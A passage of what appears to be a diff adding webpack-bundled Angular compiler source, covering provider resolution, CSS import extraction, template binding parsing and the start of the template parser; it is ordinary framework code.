(!resolvedProvider) { + return null; + } + var transformedProviderAst = this._transformedProviders.get(tokenReference(token)); + if (transformedProviderAst) { + return transformedProviderAst; + } + if (this._seenProviders.get(tokenReference(token)) != null) { + this._errors.push(new ProviderError("Cannot instantiate cyclic dependency! " + tokenName(token), resolvedProvider.sourceSpan)); + return null; + } + this._seenProviders.set(tokenReference(token), true); + var transformedProviders = resolvedProvider.providers.map(function (provider) { + var transformedUseValue = provider.useValue; + var transformedUseExisting = provider.useExisting; + var transformedDeps = undefined; + if (provider.useExisting != null) { + var existingDiDep = _this._getDependency({ token: provider.useExisting }, eager, resolvedProvider.sourceSpan); + if (existingDiDep.token != null) { + transformedUseExisting = existingDiDep.token; + } + else { + transformedUseExisting = null; + transformedUseValue = existingDiDep.value; + } + } + else if (provider.useFactory) { + var deps = provider.deps || provider.useFactory.diDeps; + transformedDeps = + deps.map(function (dep) { return _this._getDependency(dep, eager, resolvedProvider.sourceSpan); }); + } + else if (provider.useClass) { + var deps = provider.deps || provider.useClass.diDeps; + transformedDeps = + deps.map(function (dep) { return _this._getDependency(dep, eager, resolvedProvider.sourceSpan); }); + } + return _transformProvider(provider, { + useExisting: transformedUseExisting, + useValue: transformedUseValue, + deps: transformedDeps + }); + }); + transformedProviderAst = + _transformProviderAst(resolvedProvider, { eager: eager, providers: transformedProviders }); + this._transformedProviders.set(tokenReference(token), transformedProviderAst); + return transformedProviderAst; + }; + NgModuleProviderAnalyzer.prototype._getDependency = function (dep, eager, requestorSourceSpan) { + if (eager === void 0) { eager = false; } + var foundLocal = false; + if (!dep.isSkipSelf && dep.token != null) { + // access the injector + if (tokenReference(dep.token) === + this.reflector.resolveExternalReference(Identifiers.Injector) || + tokenReference(dep.token) === + this.reflector.resolveExternalReference(Identifiers.ComponentFactoryResolver)) { + foundLocal = true; + // access providers + } + else if (this._getOrCreateLocalProvider(dep.token, eager) != null) { + foundLocal = true; + } + } + return dep; + }; + return NgModuleProviderAnalyzer; +}()); +function _transformProvider(provider, _a) { + var useExisting = _a.useExisting, useValue = _a.useValue, deps = _a.deps; + return { + token: provider.token, + useClass: provider.useClass, + useExisting: useExisting, + useFactory: provider.useFactory, + useValue: useValue, + deps: deps, + multi: provider.multi + }; +} +function _transformProviderAst(provider, _a) { + var eager = _a.eager, providers = _a.providers; + return new ProviderAst(provider.token, provider.multiProvider, provider.eager || eager, providers, provider.providerType, provider.lifecycleHooks, provider.sourceSpan, provider.isModule); +} +function _resolveProvidersFromDirectives(directives, sourceSpan, targetErrors) { + var providersByToken = new Map(); + directives.forEach(function (directive) { + var dirProvider = { token: { identifier: directive.type }, useClass: directive.type }; + _resolveProviders([dirProvider], directive.isComponent ? ProviderAstType.Component : ProviderAstType.Directive, true, sourceSpan, targetErrors, providersByToken, /* isModule */ false); + }); + // Note: directives need to be able to overwrite providers of a component! + var directivesWithComponentFirst = directives.filter(function (dir) { return dir.isComponent; }).concat(directives.filter(function (dir) { return !dir.isComponent; })); + directivesWithComponentFirst.forEach(function (directive) { + _resolveProviders(directive.providers, ProviderAstType.PublicService, false, sourceSpan, targetErrors, providersByToken, /* isModule */ false); + _resolveProviders(directive.viewProviders, ProviderAstType.PrivateService, false, sourceSpan, targetErrors, providersByToken, /* isModule */ false); + }); + return providersByToken; +} +function _resolveProviders(providers, providerType, eager, sourceSpan, targetErrors, targetProvidersByToken, isModule) { + providers.forEach(function (provider) { + var resolvedProvider = targetProvidersByToken.get(tokenReference(provider.token)); + if (resolvedProvider != null && !!resolvedProvider.multiProvider !== !!provider.multi) { + targetErrors.push(new ProviderError("Mixing multi and non multi provider is not possible for token " + tokenName(resolvedProvider.token), sourceSpan)); + } + if (!resolvedProvider) { + var lifecycleHooks = provider.token.identifier && + provider.token.identifier.lifecycleHooks ? + provider.token.identifier.lifecycleHooks : + []; + var isUseValue = !(provider.useClass || provider.useExisting || provider.useFactory); + resolvedProvider = new ProviderAst(provider.token, !!provider.multi, eager || isUseValue, [provider], providerType, lifecycleHooks, sourceSpan, isModule); + targetProvidersByToken.set(tokenReference(provider.token), resolvedProvider); + } + else { + if (!provider.multi) { + resolvedProvider.providers.length = 0; + } + resolvedProvider.providers.push(provider); + } + }); +} +function _getViewQueries(component) { + // Note: queries start with id 1 so we can use the number in a Bloom filter! + var viewQueryId = 1; + var viewQueries = new Map(); + if (component.viewQueries) { + component.viewQueries.forEach(function (query) { return _addQueryToTokenMap(viewQueries, { meta: query, queryId: viewQueryId++ }); }); + } + return viewQueries; +} +function _getContentQueries(contentQueryStartId, directives) { + var contentQueryId = contentQueryStartId; + var contentQueries = new Map(); + directives.forEach(function (directive, directiveIndex) { + if (directive.queries) { + directive.queries.forEach(function (query) { return _addQueryToTokenMap(contentQueries, { meta: query, queryId: contentQueryId++ }); }); + } + }); + return contentQueries; +} +function _addQueryToTokenMap(map, query) { + query.meta.selectors.forEach(function (token) { + var entry = map.get(tokenReference(token)); + if (!entry) { + entry = []; + map.set(tokenReference(token), entry); + } + entry.push(query); + }); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var StyleWithImports = /** @class */ (function () { + function StyleWithImports(style, styleUrls) { + this.style = style; + this.styleUrls = styleUrls; + } + return StyleWithImports; +}()); +function isStyleUrlResolvable(url) { + if (url == null || url.length === 0 || url[0] == '/') + return false; + var schemeMatch = url.match(URL_WITH_SCHEMA_REGEXP); + return schemeMatch === null || schemeMatch[1] == 'package' || schemeMatch[1] == 'asset'; +} +/** + * Rewrites stylesheets by resolving and removing the @import urls that + * are either relative or don't have a `package:` scheme + */ +function extractStyleUrls(resolver, baseUrl, cssText) { + var foundUrls = []; + var modifiedCssText = cssText.replace(CSS_STRIPPABLE_COMMENT_REGEXP, '') + .replace(CSS_IMPORT_REGEXP, function () { + var m = []; + for (var _i = 0; _i < arguments.length; _i++) { + m[_i] = arguments[_i]; + } + var url = m[1] || m[2]; + if (!isStyleUrlResolvable(url)) { + // Do not attempt to resolve non-package absolute URLs with URI + // scheme + return m[0]; + } + foundUrls.push(resolver.resolve(baseUrl, url)); + return ''; + }); + return new StyleWithImports(modifiedCssText, foundUrls); +} +var CSS_IMPORT_REGEXP = /@import\s+(?:url\()?\s*(?:(?:['"]([^'"]*))|([^;\)\s]*))[^;]*;?/g; +var CSS_STRIPPABLE_COMMENT_REGEXP = /\/\*(?!#\s*(?:sourceURL|sourceMappingURL)=)[\s\S]+?\*\//g; +var URL_WITH_SCHEMA_REGEXP = /^([^:/?#]+):/; + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var PROPERTY_PARTS_SEPARATOR = '.'; +var ATTRIBUTE_PREFIX = 'attr'; +var CLASS_PREFIX = 'class'; +var STYLE_PREFIX = 'style'; +var ANIMATE_PROP_PREFIX = 'animate-'; +/** + * Parses bindings in templates and in the directive host area. + */ +var BindingParser = /** @class */ (function () { + function BindingParser(_exprParser, _interpolationConfig, _schemaRegistry, pipes, errors) { + this._exprParser = _exprParser; + this._interpolationConfig = _interpolationConfig; + this._schemaRegistry = _schemaRegistry; + this.errors = errors; + this.pipesByName = null; + this._usedPipes = new Map(); + // When the `pipes` parameter is `null`, do not check for used pipes + // This is used in IVY when we might not know the available pipes at compile time + if (pipes) { + var pipesByName_1 = new Map(); + pipes.forEach(function (pipe) { return pipesByName_1.set(pipe.name, pipe); }); + this.pipesByName = pipesByName_1; + } + } + Object.defineProperty(BindingParser.prototype, "interpolationConfig", { + get: function () { return this._interpolationConfig; }, + enumerable: true, + configurable: true + }); + BindingParser.prototype.getUsedPipes = function () { return Array.from(this._usedPipes.values()); }; + BindingParser.prototype.createBoundHostProperties = function (dirMeta, sourceSpan) { + var _this = this; + if (dirMeta.hostProperties) { + var boundProps_1 = []; + Object.keys(dirMeta.hostProperties).forEach(function (propName) { + var expression = dirMeta.hostProperties[propName]; + if (typeof expression === 'string') { + _this.parsePropertyBinding(propName, expression, true, sourceSpan, sourceSpan.start.offset, undefined, [], boundProps_1); + } + else { + _this._reportError("Value of the host property binding \"" + propName + "\" needs to be a string representing an expression but got \"" + expression + "\" (" + typeof expression + ")", sourceSpan); + } + }); + return boundProps_1; + } + return null; + }; + BindingParser.prototype.createDirectiveHostPropertyAsts = function (dirMeta, elementSelector, sourceSpan) { + var _this = this; + var boundProps = this.createBoundHostProperties(dirMeta, sourceSpan); + return boundProps && + boundProps.map(function (prop) { return _this.createBoundElementProperty(elementSelector, prop); }); + }; + BindingParser.prototype.createDirectiveHostEventAsts = function (dirMeta, sourceSpan) { + var _this = this; + if (dirMeta.hostListeners) { + var targetEvents_1 = []; + Object.keys(dirMeta.hostListeners).forEach(function (propName) { + var expression = dirMeta.hostListeners[propName]; + if (typeof expression === 'string') { + // TODO: pass a more accurate handlerSpan for this event. + _this.parseEvent(propName, expression, sourceSpan, sourceSpan, [], targetEvents_1); + } + else { + _this._reportError("Value of the host listener \"" + propName + "\" needs to be a string representing an expression but got \"" + expression + "\" (" + typeof expression + ")", sourceSpan); + } + }); + return targetEvents_1; + } + return null; + }; + BindingParser.prototype.parseInterpolation = function (value, sourceSpan) { + var sourceInfo = sourceSpan.start.toString(); + try { + var ast = this._exprParser.parseInterpolation(value, sourceInfo, sourceSpan.start.offset, this._interpolationConfig); + if (ast) + this._reportExpressionParserErrors(ast.errors, sourceSpan); + this._checkPipes(ast, sourceSpan); + return ast; + } + catch (e) { + this._reportError("" + e, sourceSpan); + return this._exprParser.wrapLiteralPrimitive('ERROR', sourceInfo, sourceSpan.start.offset); + } + }; + // Parse an inline template binding. ie `` + BindingParser.prototype.parseInlineTemplateBinding = function (tplKey, tplValue, sourceSpan, absoluteOffset, targetMatchableAttrs, targetProps, targetVars) { + var bindings = this._parseTemplateBindings(tplKey, tplValue, sourceSpan); + for (var i = 0; i < bindings.length; i++) { + var binding = bindings[i]; + if (binding.keyIsVar) { + targetVars.push(new ParsedVariable(binding.key, binding.name, sourceSpan)); + } + else if (binding.expression) { + this._parsePropertyAst(binding.key, binding.expression, sourceSpan, undefined, targetMatchableAttrs, targetProps); + } + else { + targetMatchableAttrs.push([binding.key, '']); + this.parseLiteralAttr(binding.key, null, sourceSpan, absoluteOffset, undefined, targetMatchableAttrs, targetProps); + } + } + }; + BindingParser.prototype._parseTemplateBindings = function (tplKey, tplValue, sourceSpan) { + var _this = this; + var sourceInfo = sourceSpan.start.toString(); + try { + var bindingsResult = this._exprParser.parseTemplateBindings(tplKey, tplValue, sourceInfo, sourceSpan.start.offset); + this._reportExpressionParserErrors(bindingsResult.errors, sourceSpan); + bindingsResult.templateBindings.forEach(function (binding) { + if (binding.expression) { + _this._checkPipes(binding.expression, sourceSpan); + } + }); + bindingsResult.warnings.forEach(function (warning) { _this._reportError(warning, sourceSpan, ParseErrorLevel.WARNING); }); + return bindingsResult.templateBindings; + } + catch (e) { + this._reportError("" + e, sourceSpan); + return []; + } + }; + BindingParser.prototype.parseLiteralAttr = function (name, value, sourceSpan, absoluteOffset, valueSpan, targetMatchableAttrs, targetProps) { + if (isAnimationLabel(name)) { + name = name.substring(1); + if (value) { + this._reportError("Assigning animation triggers via @prop=\"exp\" attributes with an expression is invalid." + + " Use property bindings (e.g. [@prop]=\"exp\") or use an attribute without a value (e.g. @prop) instead.", sourceSpan, ParseErrorLevel.ERROR); + } + this._parseAnimation(name, value, sourceSpan, absoluteOffset, valueSpan, targetMatchableAttrs, targetProps); + } + else { + targetProps.push(new ParsedProperty(name, this._exprParser.wrapLiteralPrimitive(value, '', absoluteOffset), ParsedPropertyType.LITERAL_ATTR, sourceSpan, valueSpan)); + } + }; + BindingParser.prototype.parsePropertyBinding = function (name, expression, isHost, sourceSpan, absoluteOffset, valueSpan, targetMatchableAttrs, targetProps) { + var isAnimationProp = false; + if (name.startsWith(ANIMATE_PROP_PREFIX)) { + isAnimationProp = true; + name = name.substring(ANIMATE_PROP_PREFIX.length); + } + else if (isAnimationLabel(name)) { + isAnimationProp = true; + name = name.substring(1); + } + if (isAnimationProp) { + this._parseAnimation(name, expression, sourceSpan, absoluteOffset, valueSpan, targetMatchableAttrs, targetProps); + } + else { + this._parsePropertyAst(name, this._parseBinding(expression, isHost, valueSpan || sourceSpan, absoluteOffset), sourceSpan, valueSpan, targetMatchableAttrs, targetProps); + } + }; + BindingParser.prototype.parsePropertyInterpolation = function (name, value, sourceSpan, valueSpan, targetMatchableAttrs, targetProps) { + var expr = this.parseInterpolation(value, valueSpan || sourceSpan); + if (expr) { + this._parsePropertyAst(name, expr, sourceSpan, valueSpan, targetMatchableAttrs, targetProps); + return true; + } + return false; + }; + BindingParser.prototype._parsePropertyAst = function (name, ast, sourceSpan, valueSpan, targetMatchableAttrs, targetProps) { + targetMatchableAttrs.push([name, ast.source]); + targetProps.push(new ParsedProperty(name, ast, ParsedPropertyType.DEFAULT, sourceSpan, valueSpan)); + }; + BindingParser.prototype._parseAnimation = function (name, expression, sourceSpan, absoluteOffset, valueSpan, targetMatchableAttrs, targetProps) { + // This will occur when a @trigger is not paired with an expression. + // For animations it is valid to not have an expression since */void + // states will be applied by angular when the element is attached/detached + var ast = this._parseBinding(expression || 'undefined', false, valueSpan || sourceSpan, absoluteOffset); + targetMatchableAttrs.push([name, ast.source]); + targetProps.push(new ParsedProperty(name, ast, ParsedPropertyType.ANIMATION, sourceSpan, valueSpan)); + }; + BindingParser.prototype._parseBinding = function (value, isHostBinding, sourceSpan, absoluteOffset) { + var sourceInfo = (sourceSpan && sourceSpan.start || '(unknown)').toString(); + try { + var ast = isHostBinding ? + this._exprParser.parseSimpleBinding(value, sourceInfo, absoluteOffset, this._interpolationConfig) : + this._exprParser.parseBinding(value, sourceInfo, absoluteOffset, this._interpolationConfig); + if (ast) + this._reportExpressionParserErrors(ast.errors, sourceSpan); + this._checkPipes(ast, sourceSpan); + return ast; + } + catch (e) { + this._reportError("" + e, sourceSpan); + return this._exprParser.wrapLiteralPrimitive('ERROR', sourceInfo, absoluteOffset); + } + }; + BindingParser.prototype.createBoundElementProperty = function (elementSelector, boundProp, skipValidation, mapPropertyName) { + if (skipValidation === void 0) { skipValidation = false; } + if (mapPropertyName === void 0) { mapPropertyName = true; } + if (boundProp.isAnimation) { + return new BoundElementProperty(boundProp.name, 4 /* Animation */, SecurityContext.NONE, boundProp.expression, null, boundProp.sourceSpan, boundProp.valueSpan); + } + var unit = null; + var bindingType = undefined; + var boundPropertyName = null; + var parts = boundProp.name.split(PROPERTY_PARTS_SEPARATOR); + var securityContexts = undefined; + // Check for special cases (prefix style, attr, class) + if (parts.length > 1) { + if (parts[0] == ATTRIBUTE_PREFIX) { + boundPropertyName = parts[1]; + if (!skipValidation) { + this._validatePropertyOrAttributeName(boundPropertyName, boundProp.sourceSpan, true); + } + securityContexts = calcPossibleSecurityContexts(this._schemaRegistry, elementSelector, boundPropertyName, true); + var nsSeparatorIdx = boundPropertyName.indexOf(':'); + if (nsSeparatorIdx > -1) { + var ns = boundPropertyName.substring(0, nsSeparatorIdx); + var name_1 = boundPropertyName.substring(nsSeparatorIdx + 1); + boundPropertyName = mergeNsAndName(ns, name_1); + } + bindingType = 1 /* Attribute */; + } + else if (parts[0] == CLASS_PREFIX) { + boundPropertyName = parts[1]; + bindingType = 2 /* Class */; + securityContexts = [SecurityContext.NONE]; + } + else if (parts[0] == STYLE_PREFIX) { + unit = parts.length > 2 ? parts[2] : null; + boundPropertyName = parts[1]; + bindingType = 3 /* Style */; + securityContexts = [SecurityContext.STYLE]; + } + } + // If not a special case, use the full property name + if (boundPropertyName === null) { + var mappedPropName = this._schemaRegistry.getMappedPropName(boundProp.name); + boundPropertyName = mapPropertyName ? mappedPropName : boundProp.name; + securityContexts = calcPossibleSecurityContexts(this._schemaRegistry, elementSelector, mappedPropName, false); + bindingType = 0 /* Property */; + if (!skipValidation) { + this._validatePropertyOrAttributeName(mappedPropName, boundProp.sourceSpan, false); + } + } + return new BoundElementProperty(boundPropertyName, bindingType, securityContexts[0], boundProp.expression, unit, boundProp.sourceSpan, boundProp.valueSpan); + }; + BindingParser.prototype.parseEvent = function (name, expression, sourceSpan, handlerSpan, targetMatchableAttrs, targetEvents) { + if (isAnimationLabel(name)) { + name = name.substr(1); + this._parseAnimationEvent(name, expression, sourceSpan, handlerSpan, targetEvents); + } + else { + this._parseRegularEvent(name, expression, sourceSpan, handlerSpan, targetMatchableAttrs, targetEvents); + } + }; + BindingParser.prototype.calcPossibleSecurityContexts = function (selector, propName, isAttribute) { + var prop = this._schemaRegistry.getMappedPropName(propName); + return calcPossibleSecurityContexts(this._schemaRegistry, selector, prop, isAttribute); + }; + BindingParser.prototype._parseAnimationEvent = function (name, expression, sourceSpan, handlerSpan, targetEvents) { + var matches = splitAtPeriod(name, [name, '']); + var eventName = matches[0]; + var phase = matches[1].toLowerCase(); + if (phase) { + switch (phase) { + case 'start': + case 'done': + var ast = this._parseAction(expression, handlerSpan); + targetEvents.push(new ParsedEvent(eventName, phase, 1 /* Animation */, ast, sourceSpan, handlerSpan)); + break; + default: + this._reportError("The provided animation output phase value \"" + phase + "\" for \"@" + eventName + "\" is not supported (use start or done)", sourceSpan); + break; + } + } + else { + this._reportError("The animation trigger output event (@" + eventName + ") is missing its phase value name (start or done are currently supported)", sourceSpan); + } + }; + BindingParser.prototype._parseRegularEvent = function (name, expression, sourceSpan, handlerSpan, targetMatchableAttrs, targetEvents) { + // long format: 'target: eventName' + var _a = Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__read"])(splitAtColon(name, [null, name]), 2), target = _a[0], eventName = _a[1]; + var ast = this._parseAction(expression, handlerSpan); + targetMatchableAttrs.push([name, ast.source]); + targetEvents.push(new ParsedEvent(eventName, target, 0 /* Regular */, ast, sourceSpan, handlerSpan)); + // Don't detect directives for event names for now, + // so don't add the event name to the matchableAttrs + }; + BindingParser.prototype._parseAction = function (value, sourceSpan) { + var sourceInfo = (sourceSpan && sourceSpan.start || '(unknown').toString(); + var absoluteOffset = (sourceSpan && sourceSpan.start) ? sourceSpan.start.offset : 0; + try { + var ast = this._exprParser.parseAction(value, sourceInfo, absoluteOffset, this._interpolationConfig); + if (ast) { + this._reportExpressionParserErrors(ast.errors, sourceSpan); + } + if (!ast || ast.ast instanceof EmptyExpr) { + this._reportError("Empty expressions are not allowed", sourceSpan); + return this._exprParser.wrapLiteralPrimitive('ERROR', sourceInfo, absoluteOffset); + } + this._checkPipes(ast, sourceSpan); + return ast; + } + catch (e) { + this._reportError("" + e, sourceSpan); + return this._exprParser.wrapLiteralPrimitive('ERROR', sourceInfo, absoluteOffset); + } + }; + BindingParser.prototype._reportError = function (message, sourceSpan, level) { + if (level === void 0) { level = ParseErrorLevel.ERROR; } + this.errors.push(new ParseError(sourceSpan, message, level)); + }; + BindingParser.prototype._reportExpressionParserErrors = function (errors, sourceSpan) { + var e_1, _a; + try { + for (var errors_1 = Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__values"])(errors), errors_1_1 = errors_1.next(); !errors_1_1.done; errors_1_1 = errors_1.next()) { + var error = errors_1_1.value; + this._reportError(error.message, sourceSpan); + } + } + catch (e_1_1) { e_1 = { error: e_1_1 }; } + finally { + try { + if (errors_1_1 && !errors_1_1.done && (_a = errors_1.return)) _a.call(errors_1); + } + finally { if (e_1) throw e_1.error; } + } + }; + // Make sure all the used pipes are known in `this.pipesByName` + BindingParser.prototype._checkPipes = function (ast, sourceSpan) { + var _this = this; + if (ast && this.pipesByName) { + var collector = new PipeCollector(); + ast.visit(collector); + collector.pipes.forEach(function (ast, pipeName) { + var pipeMeta = _this.pipesByName.get(pipeName); + if (!pipeMeta) { + _this._reportError("The pipe '" + pipeName + "' could not be found", new ParseSourceSpan(sourceSpan.start.moveBy(ast.span.start), sourceSpan.start.moveBy(ast.span.end))); + } + else { + _this._usedPipes.set(pipeName, pipeMeta); + } + }); + } + }; + /** + * @param propName the name of the property / attribute + * @param sourceSpan + * @param isAttr true when binding to an attribute + */ + BindingParser.prototype._validatePropertyOrAttributeName = function (propName, sourceSpan, isAttr) { + var report = isAttr ? this._schemaRegistry.validateAttribute(propName) : + this._schemaRegistry.validateProperty(propName); + if (report.error) { + this._reportError(report.msg, sourceSpan, ParseErrorLevel.ERROR); + } + }; + return BindingParser; +}()); +var PipeCollector = /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(PipeCollector, _super); + function PipeCollector() { + var _this = _super !== null && _super.apply(this, arguments) || this; + _this.pipes = new Map(); + return _this; + } + PipeCollector.prototype.visitPipe = function (ast, context) { + this.pipes.set(ast.name, ast); + ast.exp.visit(this); + this.visitAll(ast.args, context); + return null; + }; + return PipeCollector; +}(RecursiveAstVisitor$1)); +function isAnimationLabel(name) { + return name[0] == '@'; +} +function calcPossibleSecurityContexts(registry, selector, propName, isAttribute) { + var ctxs = []; + CssSelector.parse(selector).forEach(function (selector) { + var elementNames = selector.element ? [selector.element] : registry.allKnownElementNames(); + var notElementNames = new Set(selector.notSelectors.filter(function (selector) { return selector.isElementSelector(); }) + .map(function (selector) { return selector.element; })); + var possibleElementNames = elementNames.filter(function (elementName) { return !notElementNames.has(elementName); }); + ctxs.push.apply(ctxs, Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])(possibleElementNames.map(function (elementName) { return registry.securityContext(elementName, propName, isAttribute); }))); + }); + return ctxs.length === 0 ? [SecurityContext.NONE] : Array.from(new Set(ctxs)).sort(); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var NG_CONTENT_SELECT_ATTR = 'select'; +var LINK_ELEMENT = 'link'; +var LINK_STYLE_REL_ATTR = 'rel'; +var LINK_STYLE_HREF_ATTR = 'href'; +var LINK_STYLE_REL_VALUE = 'stylesheet'; +var STYLE_ELEMENT = 'style'; +var SCRIPT_ELEMENT = 'script'; +var NG_NON_BINDABLE_ATTR = 'ngNonBindable'; +var NG_PROJECT_AS = 'ngProjectAs'; +function preparseElement(ast) { + var selectAttr = null; + var hrefAttr = null; + var relAttr = null; + var nonBindable = false; + var projectAs = ''; + ast.attrs.forEach(function (attr) { + var lcAttrName = attr.name.toLowerCase(); + if (lcAttrName == NG_CONTENT_SELECT_ATTR) { + selectAttr = attr.value; + } + else if (lcAttrName == LINK_STYLE_HREF_ATTR) { + hrefAttr = attr.value; + } + else if (lcAttrName == LINK_STYLE_REL_ATTR) { + relAttr = attr.value; + } + else if (attr.name == NG_NON_BINDABLE_ATTR) { + nonBindable = true; + } + else if (attr.name == NG_PROJECT_AS) { + if (attr.value.length > 0) { + projectAs = attr.value; + } + } + }); + selectAttr = normalizeNgContentSelect(selectAttr); + var nodeName = ast.name.toLowerCase(); + var type = PreparsedElementType.OTHER; + if (isNgContent(nodeName)) { + type = PreparsedElementType.NG_CONTENT; + } + else if (nodeName == STYLE_ELEMENT) { + type = PreparsedElementType.STYLE; + } + else if (nodeName == SCRIPT_ELEMENT) { + type = PreparsedElementType.SCRIPT; + } + else if (nodeName == LINK_ELEMENT && relAttr == LINK_STYLE_REL_VALUE) { + type = PreparsedElementType.STYLESHEET; + } + return new PreparsedElement(type, selectAttr, hrefAttr, nonBindable, projectAs); +} +var PreparsedElementType; +(function (PreparsedElementType) { + PreparsedElementType[PreparsedElementType["NG_CONTENT"] = 0] = "NG_CONTENT"; + PreparsedElementType[PreparsedElementType["STYLE"] = 1] = "STYLE"; + PreparsedElementType[PreparsedElementType["STYLESHEET"] = 2] = "STYLESHEET"; + PreparsedElementType[PreparsedElementType["SCRIPT"] = 3] = "SCRIPT"; + PreparsedElementType[PreparsedElementType["OTHER"] = 4] = "OTHER"; +})(PreparsedElementType || (PreparsedElementType = {})); +var PreparsedElement = /** @class */ (function () { + function PreparsedElement(type, selectAttr, hrefAttr, nonBindable, projectAs) { + this.type = type; + this.selectAttr = selectAttr; + this.hrefAttr = hrefAttr; + this.nonBindable = nonBindable; + this.projectAs = projectAs; + } + return PreparsedElement; +}()); +function normalizeNgContentSelect(selectAttr) { + if (selectAttr === null || selectAttr.length === 0) { + return '*'; + } + return selectAttr; +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var BIND_NAME_REGEXP = /^(?:(?:(?:(bind-)|(let-)|(ref-|#)|(on-)|(bindon-)|(@))(.+))|\[\(([^\)]+)\)\]|\[([^\]]+)\]|\(([^\)]+)\))$/; +// Group 1 = "bind-" +var KW_BIND_IDX = 1; +// Group 2 = "let-" +var KW_LET_IDX = 2; +// Group 3 = "ref-/#" +var KW_REF_IDX = 3; +// Group 4 = "on-" +var KW_ON_IDX = 4; +// Group 5 = "bindon-" +var KW_BINDON_IDX = 5; +// Group 6 = "@" +var KW_AT_IDX = 6; +// Group 7 = the identifier after "bind-", "let-", "ref-/#", "on-", "bindon-" or "@" +var IDENT_KW_IDX = 7; +// Group 8 = identifier inside [()] +var IDENT_BANANA_BOX_IDX = 8; +// Group 9 = identifier inside [] +var IDENT_PROPERTY_IDX = 9; +// Group 10 = identifier inside () +var IDENT_EVENT_IDX = 10; +var TEMPLATE_ATTR_PREFIX = '*'; +var CLASS_ATTR = 'class'; +var _TEXT_CSS_SELECTOR; +function TEXT_CSS_SELECTOR() { + if (!_TEXT_CSS_SELECTOR) { + _TEXT_CSS_SELECTOR = CssSelector.parse('*')[0]; + } + return _TEXT_CSS_SELECTOR; +} +var TemplateParseError = /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(TemplateParseError, _super); + function TemplateParseError(message, span, level) { + return _super.call(this, span, message, level) || this; + } + return TemplateParseError; +}(ParseError)); +var TemplateParseResult = /** @class */ (function () { + function TemplateParseResult(templateAst, usedPipes, errors) { + this.templateAst = templateAst; + this.usedPipes = usedPipes; + this.errors = errors; + } + return TemplateParseResult; +}()); +var TemplateParser = /** @class */ (function () { + function TemplateParser(_config, _reflector, _exprParser, _schemaRegistry, _htmlParser, _console, transforms) { + this._config = _config; + this._reflector = _reflector; + this._exprParser = _exprParser; + this._schemaRegistry = _schemaRegistry; + this._htmlParser = _htmlParser; + this._console = _console; + this.transforms = transforms; + } + Object.defineProperty(TemplateParser.prototype, "expressionParser", { + get: function () { return this._exprParser; }, + enumerable: true, + configurable: true + }); + TemplateParser.prototype.parse = function (component, template, directives, pipes, schemas, templateUrl, preserveWhitespaces) { + var result = this.tryParse(component, template, directives, pipes, schemas, templateUrl, preserveWhitespaces); + var warnings = result.errors.filter(function (error) { return error.level === ParseErrorLevel.WARNING; }); + var errors = result.errors.filter(function (error) { return error.level === ParseErrorLevel.ERROR; }); + if (warnings.length > 0) { + this._console.warn("Template parse warnings:\n" + warnings.join('\n')); + } + if (errors.length > 0) { + var errorString = errors.join('\n'); + throw syntaxError("Template parse errors:\n" + errorString, errors); + } + return { template: result.templateAst, pipes: result.usedPipes }; + }; + TemplateParser.prototype.tryParse = function (component, template, directives, pipes, schemas, templateUrl, preserveWhitespaces) { + var htmlParseResult = typeof template === 'string' ? + this._htmlParser.parse(template, templateUrl, { + tokenizeExpansionForms: true, + interpolationConfig: this.getInterpolationConfig(component) + }) : + template; + if (!preserveWhitespaces) { + htmlParseResult = removeWhitespaces(htmlParseResult); + } + return this.tryParseHtml(this.expandHtml(htmlParseResult), component, directives, pipes, schemas); + }; + TemplateParser.prototype.tryParseHtml = function (htmlAstWithErrors, component, directives, pipes, schemas) { + var result; + var errors = htmlAstWithErrors.errors; + var usedPipes = []; + if (htmlAstWithErrors.rootNodes.length > 0) { + var uniqDirectives = removeSummaryDuplicates(directives); + var uniqPipes = removeSummaryDuplicates(pipes); + var providerViewContext = new ProviderViewContext(this._reflector, component); + var interpolationConfig = undefined; + if (component.template && component.template.interpolation) { + interpolationConfig = { + start: component.template.interpolation[0], + end: component.template.interpolation[1] + }; + } + var bindingParser = new BindingParser(this._exprParser, interpolationConfig, this._schemaRegistry, uniqPipes, errors); + var parseVisitor = new TemplateParseVisitor(this._reflector, this._config, providerViewContext, uniqDirectives, bindingParser, this._schemaRegistry, schemas, errors); + result = visitAll$1(parseVisitor, htmlAstWithErrors.rootNodes, EMPTY_ELEMENT_CONTEXT); + errors.push.apply(errors, Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])(providerViewContext.errors)); + usedPipes.push.apply(usedPipes, Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])(bindingParser.getUsedPipes())); + } + else { + result = []; + } + this._assertNoReferenceDuplicationOnTemplate(result, errors); + if (errors.length > 0) { + return new TemplateParseResult(result, usedPipes, errors); + } + if (this.transforms) { + this.transforms.forEach(function (transform) { result = templateVisitAll(transform, result); }); + } + return new TemplateParseResult(result, usedPipes, errors); + }; + TemplateParser.prototype.expandHtml = function (htmlAstWithErrors, forced) { + if (forced === void 0) { forced = false; } + var errors = htmlAstWithErrors.errors; + if (errors.length == 0 || forced) { + // Transform ICU messages to angular directives + var expandedHtmlAst = expandNodes(htmlAstWithErrors.rootNodes); + errors.push.apply(errors, Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])(expandedHtmlAst.errors)); + htmlAstWithErrors = new ParseTreeResult(expandedHtmlAst.nodes, errors); + } + return htmlAstWithErrors; + }; + TemplateParser.prototype.getInterpolationConfig = function (component) { + if (component.template) { + return InterpolationConfig.fromArray(component.template.interpolation); + } + return undefined; + }; + /** @internal */ + TemplateParser.prototype._assertNoReferenceDuplicationOnTemplate = function (result, errors) { + var existingReferences = []; + result.filter(function (element) { return 